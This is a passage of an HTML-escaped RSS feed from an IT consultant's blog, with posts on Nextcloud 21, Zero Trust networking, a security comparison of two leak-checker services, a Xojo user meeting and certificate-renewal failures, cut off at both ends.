&lt;p>&lt;a href="https://www.heise.de/news/Jetzt-patchen-Angreifer-attackieren-Microsoft-Exchange-Server-5070309.html">https://www.heise.de/news/Jetzt-patchen-Angreifer-attackieren-Microsoft-Exchange-Server-5070309.html&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2021/210305_Exchange-Schwachstelle.html">https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2021/210305_Exchange-Schwachstelle.html&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/EternalBlue">https://en.wikipedia.org/wiki/EternalBlue&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://en.wikipedia.org/wiki/WannaCry_ransomware_attack">https://en.wikipedia.org/wiki/WannaCry_ransomware_attack&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://blog.jakobs.systems/micro/20201008-bsi-warnung-exchange/">https://blog.jakobs.systems/micro/20201008-bsi-warnung-exchange/&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/">https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:9">
&lt;p>&lt;a href="https://us-cert.cisa.gov/ncas/alerts/aa21-062a">https://us-cert.cisa.gov/ncas/alerts/aa21-062a&lt;/a>&amp;#160;&lt;a href="#fnref:9" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:10">
&lt;p>&lt;a href="https://www.heise.de/news/SolarWinds-Chinesen-unter-Verdacht-US-Finanzbehoerde-angegriffen-zu-haben-5048210.html">https://www.heise.de/news/SolarWinds-Chinesen-unter-Verdacht-US-Finanzbehoerde-angegriffen-zu-haben-5048210.html&lt;/a>&amp;#160;&lt;a href="#fnref:10" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:11">
&lt;p>&lt;a href="https://www.golem.de/news/zero-day-30-000-firmen-via-exchange-luecke-gehackt-allein-in-den-usa-2103-154735.html">https://www.golem.de/news/zero-day-30-000-firmen-via-exchange-luecke-gehackt-allein-in-den-usa-2103-154735.html&lt;/a>&amp;#160;&lt;a href="#fnref:11" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Nextcloud 21</title><link>https://blog.jakobs.systems/en/micro/20210225-nextcloud-21/</link><pubDate>Thu, 25 Feb 2021 07:40:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210225-nextcloud-21/</guid><description>Nextcloud 21 arrived</description><category>Nextcloud</category><category>Server</category><category>Opensource</category><content>&lt;p>Yesterday evening I rolled out the new update on my Nextcloud 21 instance. In the coming days, functional tests and adjustments will follow on the scripts for rolling out on customers&amp;rsquo; systems&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/nextcloud21.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/nextcloud21.webp#c" alt="Nextcloud 21" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Looking with interest on my Prometheus monitoring, how far the performance improvements affect actual implementation. That&amp;rsquo;s not usually worth an extra microblog. My point is, that I haven&amp;rsquo;t seen such a smooth upgrade of a Nextcloud main release with such broad app support for a while.&lt;/p>
&lt;blockquote>
&lt;p>Congrats to the Nextcloud-Team, you made a great job!&lt;/p>
&lt;/blockquote>
&lt;p>Tomas Jakobs&lt;/p>
&lt;p>P.S. Those who still work with Nextcloud 19 should start moving. In a few months (June!) the server will be end-of-life.
Looking for a managed Nextcloud server? &lt;a href="https://hinterhofbu.de/nextcloud/">Check this out&lt;/a> or contact me!&lt;/p></content></item><item><title>Quote of the Day</title><link>https://blog.jakobs.systems/en/micro/20210223-quote-of-the-day/</link><pubDate>Tue, 23 Feb 2021 12:41:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210223-quote-of-the-day/</guid><description>Quote of the Day on Digitzation</description><category>Digitalisation</category><category>DataProtection</category><category>Quote</category><content>&lt;p>Today&amp;rsquo;s quote is from Mike Kuketz&amp;rsquo;s Fediverse&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>:&lt;/p>
&lt;blockquote>
&lt;p>Those in control of data are also in control of society. Digitisation must take this into account and understand data protection as social value. Data protection and digitalisation are not incompatible though many people believe this.&lt;/p>
&lt;/blockquote>
&lt;p>In my daily practice, I encounter people who try to play data protection and digitisation off against each other. This eristic dialectic&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> is something you can only avoid and quickly put an end to. It is a false dilemma&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> mostly used in the absence of expert knowledge and arguments.&lt;/p>
&lt;p>In the meantime the German Federal Constitutional Court in Karlsruhe made a landmark ruling regarding Article 82 GDPR&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>. Responsible persons and managing directors should be concerned about their liability. Many of them are not aware of the &amp;ldquo;appropriate compensation&amp;rdquo; within GDPR wowards subjects. The FAZ&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> expects a wave of lawsuits like those ones during the diesel scandal.&lt;/p>
&lt;p>See you&lt;br>
Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>🚫 &lt;a href="https://social.tchncs.de/@kuketzblog/105779905139164078">https://social.tchncs.de/@kuketzblog/105779905139164078&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Eristische_Dialektik">https://de.wikipedia.org/wiki/Eristische_Dialektik&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://de.wikipedia.org/wiki/Falsches_Dilemma">https://de.wikipedia.org/wiki/Falsches_Dilemma&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://dsgvo-gesetz.de/art-82-dsgvo/">https://dsgvo-gesetz.de/art-82-dsgvo/&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://www.faz.net/aktuell/wirtschaft/digitec/datenschutz-neue-klagewelle-wie-beim-diesel-17211383.html">https://www.faz.net/aktuell/wirtschaft/digitec/datenschutz-neue-klagewelle-wie-beim-diesel-17211383.html&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Microsoft recommends Zero Trust</title><link>https://blog.jakobs.systems/en/micro/20210219-zero-trust/</link><pubDate>Fri, 19 Feb 2021 14:01:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210219-zero-trust/</guid><description>Microsoft recommends Zero Trust</description><category>Digitalisation</category><category>Concepts</category><category>Microsoft</category><category>Security</category><content>&lt;p>This picture is for all the people I have had discussions with in recent years about Digitisation in general or, more specifically, about the integration of tablets or notebooks within a corporate network.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/tolduso.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/tolduso.webp#c" alt="Told-U-So" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>My recommendation then and now: Zero Trust! Isolate and segment potentially insecure, closed-source AD infrastructures! Keep smartphones, tablets or laptops out! This also applies to unknown, untrusted applications. &amp;quot; jumper laptops&amp;quot; are the better places for them. Put business applications on RDP/RDS terminal servers&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup> and create uniform, web-based, open interfaces that can be monitored and controlled. Nextcloud&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> is suitable for accessing SMB files, Apache Guacamole&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup> for RDP access via HTTPS. Use RFC-standardised&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup> multi-factor authentications! Technologies like Keycloak&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup> or PrivacyIDEA&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> make this possible throughout the enterprise.&lt;/p>
&lt;p>There are so many possibilities - but what is being done? Inflationary VPN accesses are distributed and all gates straight into an AD are torn down. So that even the last Idiot may continue to work with his rotten SMB drive letters.&lt;/p>
&lt;p>Here is the punchline in today&amp;rsquo;s Heise-Newsticker: Microsoft recommends Zero-Trust!&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>&lt;/p>
&lt;blockquote>
&lt;p>A &amp;ldquo;Zero Trust&amp;rdquo; philosophy is an important part of any security strategy.&lt;/p>
&lt;/blockquote>
&lt;p>It took a long way including a large-scale hack and intrusion into their own network to make them realize this. But don&amp;rsquo;t worry, Microsoft reliably ensures my &amp;ldquo;I Told You So&amp;rdquo; T-Shirt and recommends its own technologies for protection.&lt;/p>
&lt;p>Stay Healthy,&lt;br>
and enjoy your sunny weekend!&lt;/p>
&lt;p>Tomas Jakobs&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://docs.microsoft.com/de-de/windows-server/remote/remote-desktop-services/welcome-to-rds">https://docs.microsoft.com/de-de/windows-server/remote/remote-desktop-services/welcome-to-rds&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>&lt;a href="https://nextcloud.com/">https://nextcloud.com/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://guacamole.apache.org/">https://guacamole.apache.org/&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://tools.ietf.org/html/rfc6238">https://tools.ietf.org/html/rfc6238&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://www.keycloak.org/">https://www.keycloak.org/&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="https://www.privacyidea.org/">https://www.privacyidea.org/&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>&lt;a href="https://www.heise.de/news/Microsoft-Solarwinds-Hacker-sahen-Code-fuer-Azure-Exchange-und-Intune-5060022.html">https://www.heise.de/news/Microsoft-Solarwinds-Hacker-sahen-Code-fuer-Azure-Exchange-und-Intune-5060022.html&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Leak Checker Comparison</title><link>https://blog.jakobs.systems/en/blog/20210217-leakchecker/</link><pubDate>Wed, 17 Feb 2021 08:00:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20210217-leakchecker/</guid><description>Leak Checker Comparison</description><category>Email</category><category>Exchange</category><category>UniBonn</category><category>HPI</category><category>LeakChecker</category><content>&lt;p>There is an uneasy feeling when reading reports of major hacks and data leaks. Am I exposed is the main question. Leak checkers promise to provide answers. The Hasso Plattner Institute (HPI) in Potsdam runs a well-known plattform&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>, another from the University of Bonn&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup> is slightly less popular. Both share the same functional principle: Get an email, compare it with a database full of leaks, send back the answer. The details are where the differences lie, and unfortunately they are not comfortable.&lt;/p>
&lt;h2 id="integration-of-google-resources">Integration of Google resources&lt;/h2>
&lt;p>The HPI disqualifies itself by including externally linked Javascript resources from ajax.googleapis.com. The resource in question is an outdated JQuery library version 1.11.0 with numerous documented vulnerabilities&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>. A visitor is not asked about the data transfer of his IP, browser data and the time of the retrieval to Google. There is no information provided in the privacy policy&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>However, the Bonn-based website does a better job but with other inconveniences. Modern security features remain unsupported. An HTTP Strict Transport Security (HSTS), a Content Security Policy (CSP), important HTTP headers against XSS and X-Frame attacks and the referer-suppression are missing&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>The carelessness and lack of implementation of modern internet standards in both projects is surprising.&lt;/p>
&lt;h2 id="email-server">Email-Server&lt;/h2>
&lt;p>The astonishment continues when observing the email infrastructure. The result emails came from the hosts mail2.hpi.uni-potsdam.de for HPI and mail.uni-bonn.de for LeakChecker.&lt;/p>
&lt;p>Both mail servers work with TLS 1.0/1.1. Ciphers are not specified on the server side and allow a downgrade. Common security standards such as SPF, MTA-STS, DNSSEC or DMARC are not supported. The University of Bonn made a configuration error with the DMARC entry. The reporting email refers to a third party provider&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup> without the necessary permission record&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup>.&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/leakchecker-header.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/leakchecker-header.webp#c" alt="Screenshot" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>The mail server of HPI does not strip email headers and allows an insight view into the campus network of the University of Potsdam. This reveals a rotten Microsoft Exchange Server 2016 with the internal IP 192.168.32.11, which obtains my result mail from the application server and relays it. According to the server identifier 15.1.2044.4, it is lagging two patch versions behind and is at the level of 16.06.2020&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>.&lt;/p>
&lt;h2 id="results">Results&lt;/h2>
&lt;p>The results are sent back via email within minutes after submission. Abuse is prevented by strong rate limits. Only one email per week can be requested via the University of Bonn. The HPI replies are signed with an PGP cert. From practical considerations, this does not seem to make sense. The identity of the sender cannot be verified by a recipient and generates unnecessary warning and error messages in the email programs. Trusting an untrusted email in this sensitive matter would be beyond the ability of the average end user unfamiliar with PGP.&lt;/p>
&lt;p>The results are displayed in tabular form in both emails. On the positive side, the Leak Checker from the University of Bonn displays the first and last letters of a password. The HPI tool in contrast was better in identifying the affected services.&lt;/p>
&lt;h2 id="bottomline">Bottomline&lt;/h2>
&lt;p>Both tools tell more about their operators than the operators would like them to. This does not present the HPI favourably. In comparison, the Bonn-based tools perform better and present a more modern design. If these tools are intended to promote security and data protection, I am quite disappointed. Furthermore, it is a pity that the web frontends and the database queries cannot be reviewed in the source code. That might have provided more transparency and increased trust.&lt;/p>
&lt;p>The HPI tool should only be used with a browser in which 3rd party queries are automatically blocked. In terms of the results, both tools complement each other and give a good overview and introduction to managing access with the help of a password manager when used in combination.&lt;/p>
&lt;div class="footnotes" role="doc-endnotes">
&lt;hr>
&lt;ol>
&lt;li id="fn:1">
&lt;p>&lt;a href="https://sec.hpi.de/ilc/">https://sec.hpi.de/ilc/&lt;/a>&amp;#160;&lt;a href="#fnref:1" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:2">
&lt;p>🚫 &lt;a href="https://leakchecker.uni-bonn.de/">https://leakchecker.uni-bonn.de/&lt;/a>&amp;#160;&lt;a href="#fnref:2" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:3">
&lt;p>&lt;a href="https://www.cvedetails.com/product/11031/Jquery-Jquery.html?vendor_id=6538">https://www.cvedetails.com/product/11031/Jquery-Jquery.html?vendor_id=6538&lt;/a>&amp;#160;&lt;a href="#fnref:3" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:4">
&lt;p>&lt;a href="https://sec.hpi.de/ilc/dataprivacy">https://sec.hpi.de/ilc/dataprivacy&lt;/a>&amp;#160;&lt;a href="#fnref:4" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:5">
&lt;p>&lt;a href="https://webbkoll.dataskydd.net/de/results?url=leakchecker.uni-bonn.de">https://webbkoll.dataskydd.net/de/results?url=leakchecker.uni-bonn.de&lt;/a>&amp;#160;&lt;a href="#fnref:5" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:6">
&lt;p>&lt;a href="mailto:dmarc@uni-bonn.uriports.com">dmarc@uni-bonn.uriports.com&lt;/a>&amp;#160;&lt;a href="#fnref:6" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:7">
&lt;p>look RFC 7489, Sec 7.1, &lt;a href="https://tools.ietf.org/html/rfc7489">https://tools.ietf.org/html/rfc7489&lt;/a>&amp;#160;&lt;a href="#fnref:7" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;li id="fn:8">
&lt;p>&lt;a href="https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates">https://docs.microsoft.com/en-us/exchange/new-features/build-numbers-and-release-dates&lt;/a>&amp;#160;&lt;a href="#fnref:8" class="footnote-backref" role="doc-backlink">&amp;#x21a9;&amp;#xfe0e;&lt;/a>&lt;/p>
&lt;/li>
&lt;/ol>
&lt;/div></content></item><item><title>Working at Home 14 Years Ago</title><link>https://blog.jakobs.systems/en/micro/20210204-homeoffice2007/</link><pubDate>Thu, 04 Feb 2021 14:58:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210204-homeoffice2007/</guid><description>Homeoffice in the year 2007</description><category>Digitalisation</category><category>Homeoffice</category><content>&lt;p>This picture shows my home office in the year 2007. At the bottom left, you can see my last productive bare-metal Microsoft installation. A WinXP, Office 2003 and Visual Studio .NET installation. In the middle above and below you can find my primary system of choice back in those days, an openSUSE Linux. At least till the release of the iPhone a year later in 2008. This was the initial spark for switching to macOS and iOS. Yes, I was a switcher!&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/homeoffice2007.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/homeoffice2007.webp#c" alt="Homeoffice in the year 2007" loading="lazy"/>&lt;/picture>
&lt;/p>
&lt;p>Why i am showing the picture? The two small, black, round balls on the left and in the middle on the monitors are webcams. Videotelephony was an established daily driver at this time. We often kept them continuously running in the background for spontaneous &amp;ldquo;I&amp;rsquo;m on it now&amp;rdquo; or &amp;ldquo;please log off the server, I&amp;rsquo;m restarting the service&amp;rdquo; coordination. Teammates could always come in to say &amp;ldquo;hello&amp;rdquo; or having smalltalk while drinking coffee and eating cookies.&lt;/p>
&lt;p>Please understand my pain and inner tortures straight out of hell each time when witnessing today&amp;rsquo;s level of Digitisation and digital inability displayed in videoconferences.&lt;/p>
&lt;p>See you,&lt;br>
Tomas Jakobs&lt;/p></content></item><item><title>Xojo User Meeting 05.02.2020, 1800 LT</title><link>https://blog.jakobs.systems/en/micro/20210128-xojo-user-meeting/</link><pubDate>Thu, 28 Jan 2021 12:31:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210128-xojo-user-meeting/</guid><description/><category>Webinar</category><category>XOJO</category><category>Meeting</category><content>&lt;p>The next XOJO User Meeting (in german) is scheduled on Friday, 5th Feb. 2021 at 1800 LT.&lt;/p>
&lt;blockquote>
&lt;p>&lt;strong>Topics&lt;/strong>&lt;/p>
&lt;ul>
&lt;li>Let&amp;rsquo;s kickoff and plan 2021&lt;/li>
&lt;/ul>
&lt;/blockquote>
&lt;p>Of course everything as rough orientation. Anybody with an interesting project or topic is invited to join and give a presentation.
Duration of the Meeting: approx 45-60 Min followed by smalltalk with open end, Chatham House Rule applies.&lt;/p>
&lt;p>Link to Conference-room: &lt;a href="https://meet.jakobs.systems/b/tom-kks-v5k-xka">https://meet.jakobs.systems/b/tom-kks-v5k-xka&lt;/a>&lt;/p>
&lt;p>&lt;del>The passwort will be published here and in XOJO Forum couple of hours short of the Meeting.&lt;/del>&lt;/p>
&lt;p>&lt;del>Passwort is 207758&lt;/del>&lt;/p>
&lt;p>You are welcome.
See you!&lt;/p></content></item><item><title>Quote of the Day</title><link>https://blog.jakobs.systems/en/micro/20210119-quote-of-the-day/</link><pubDate>Tue, 19 Jan 2021 13:09:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210119-quote-of-the-day/</guid><description>Quote of the Day</description><category>Software</category><category>Quote</category><content>&lt;p>Today I&amp;rsquo;ve found this quote in Nitter (Twitter-Proxy):&lt;/p>
&lt;blockquote>
&lt;p>The electric light did not come from the continuous improvement of candles.&lt;/p>
&lt;/blockquote>
&lt;p>To the unkown author: You nailed it!&lt;/p></content></item><item><title>Let's talk!</title><link>https://blog.jakobs.systems/en/micro/20210113-lektor/</link><pubDate>Wed, 13 Jan 2021 22:15:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/micro/20210113-lektor/</guid><description/><category>Humour</category><category>Blog</category><content>&lt;p>I am in urgend need to talk with my Editor.&lt;br>
At the slightest mistake she snarls at me from the side.&lt;br>
It&amp;rsquo;s not possible to work under these conditions ;-)&lt;/p>
&lt;p>&lt;picture>&lt;source media="(min-width:800px)" srcset="https://blog.jakobs.systems/img/lector.webp#c">&lt;img src="https://blog.jakobs.systems/img_low/lector.webp#c" alt="Meine Lektor bei der Arbeit" loading="lazy"/>&lt;/picture>
&lt;/p></content></item><item><title>Cert Monitoring</title><link>https://blog.jakobs.systems/en/blog/20210112-cert-monitoring/</link><pubDate>Tue, 12 Jan 2021 22:20:00 +0100</pubDate><dc:creator>Tomas Jakobs</dc:creator><guid>https://blog.jakobs.systems/en/blog/20210112-cert-monitoring/</guid><description>Cert Monitoring</description><category>Concepts</category><category>Monit</category><category>Server</category><category>Monitoring</category><category>Websites</category><category>Opensource</category><content>&lt;p>Everyone knows the alert when visiting a website with expired certificates. At least once a month I stumble into one or I receive tickets with questions asking what to do. &amp;ldquo;Nothing&amp;rdquo; is my reply in most cases. &amp;ldquo;The mistake is on the other side&amp;rdquo;. On this occasion, my very special appreciation to the owners and/or administrators of such sites for the extra work required.&lt;/p>
&lt;p>The obvious solution to avoid such embarrassments: A software or service with periodic checking and notifications. Sounds obvious, but unfortunately doesn&amp;rsquo;t always work.&lt;/p>
&lt;p>Here is an overview of recent years with failures to renew certificates properly:&lt;/p>
&lt;ul>
&lt;li>2020/06 Sectigo Root-Cert&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>&lt;/li>
&lt;li>2020/02 Microsoft Teams&lt;sup id="fnref:2">&lt;a href="#fn:2" class="footnote-ref" role="doc-noteref">2&lt;/a>&lt;/sup>&lt;/li>
&lt;li>2019/10 Apple App-Store&lt;sup id="fnref:3">&lt;a href="#fn:3" class="footnote-ref" role="doc-noteref">3&lt;/a>&lt;/sup>&lt;/li>
&lt;li>2019/08 Twitter&lt;sup id="fnref:4">&lt;a href="#fn:4" class="footnote-ref" role="doc-noteref">4&lt;/a>&lt;/sup>&lt;/li>
&lt;li>2019/05 Mozilla Add-Ons&lt;sup id="fnref:5">&lt;a href="#fn:5" class="footnote-ref" role="doc-noteref">5&lt;/a>&lt;/sup>&lt;/li>
&lt;li>2018/04 Microsoft Azure&lt;sup id="fnref:6">&lt;a href="#fn:6" class="footnote-ref" role="doc-noteref">6&lt;/a>&lt;/sup>&lt;/li>
&lt;/ul>
&lt;p>And these are just examples of big techs. The many smaller websites remain below the radar. So why is this going so badly wrong?&lt;/p>
&lt;p>Non-renewed certificates are no small issues and don&amp;rsquo;t just affect websites. Many apps on mobile devices stop working when their JSON counterparts&lt;sup id="fnref:7">&lt;a href="#fn:7" class="footnote-ref" role="doc-noteref">7&lt;/a>&lt;/sup> are no longer accessible. And frankly, most users click away the warnings mechanically, without knowing what they have clicked onto. The unpleasant surprise might come a little bit later, when among the many away-clicked warnings a malware asked for elevated rights. Let&amp;rsquo;s look at some figures illustrating how a company is affected by non-renewed certs.&lt;/p>
&lt;p>The TUI Group, which is operating worldwide, generates up to 20,000 video conferences and 250,000 chat messages in a workday&lt;sup id="fnref:8">&lt;a href="#fn:8" class="footnote-ref" role="doc-noteref">8&lt;/a>&lt;/sup>. According to the data, the Microsoft Teams outage on February, 4th 2020 between 3pm and 6pm hampered 7,500 conferences and, at its mildest, disrupted timelines. At its worst, important decisions could not be made and deadlines were not met. Unfortunately a figure for the number of angry business partners, suppliers or customers does not exist.&lt;/p>
&lt;p>Launched in 2017&lt;sup id="fnref:9">&lt;a href="#fn:9" class="footnote-ref" role="doc-noteref">9&lt;/a>&lt;/sup>, the MS Teams certificate is renewed annually. Two successful renewals so far have been followed by a missed one. Even without a degree in statistics, that&amp;rsquo;s a miserable quota because a certificate renewal doesn&amp;rsquo;t just drop unexpectedly out of the blue.&lt;/p>
&lt;blockquote>
&lt;p>If the success of any given measure is close to the average distribution&lt;sup id="fnref:10">&lt;a href="#fn:10" class="footnote-ref" role="doc-noteref">10&lt;/a>&lt;/sup>, you really should abandon it. Working by chances or a bunch of monkeys, either work as reliably as your given measure.&lt;/p>
&lt;/blockquote>
&lt;h2 id="why-renewals-fail">Why renewals fail?&lt;/h2>
&lt;p>During my research I was unfortunately unable to find a single source that could tell more about the contributing factors. So without claiming completeness or accuracy, and based on my personal experience, I have drafted this list:&lt;/p>
&lt;p>a) Leadership failure: Nobody feels responsible.&lt;br>
